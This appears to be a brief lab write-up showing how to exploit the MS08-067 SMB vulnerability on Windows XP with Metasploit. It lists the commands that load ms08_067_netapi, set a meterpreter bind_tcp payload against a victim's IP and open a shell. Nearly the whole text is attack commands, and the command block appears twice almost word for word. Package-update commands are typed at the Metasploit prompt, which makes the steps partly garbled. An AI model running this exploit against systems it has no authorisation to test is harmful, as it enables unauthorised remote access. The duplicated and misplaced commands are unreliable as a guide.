I tested the "ms08_067_netapi" vulnerability on Windows XP with Metasploit.
Follow the steps below. This is the case of a bind shell for connecting to victim's system.
It should be noted that the victim system's firewall must be disabled or TCP 139, 445 allowed.
# systemctl start postgresql
# systemctl enable postgresql
# msfdb init
# msfconsole
msf > apt update
msf > apt upgrade
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
msf exploit(windows/smb/ms08_067_netapi) > set RHOST [Victim's IP address]
msf exploit(windows/smb/ms08_067_netapi) > exploit
meterpreter > (The state that the shell was acquired)
# systemctl enable postgresql
# msfdb init
# msfconsole
msf > apt update
msf > apt upgrade
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
msf exploit(windows/smb/ms08_067_netapi) > set RHOST [Victim's IP address]
msf exploit(windows/smb/ms08_067_netapi) > exploit
meterpreter > (The state that the shell was acquired)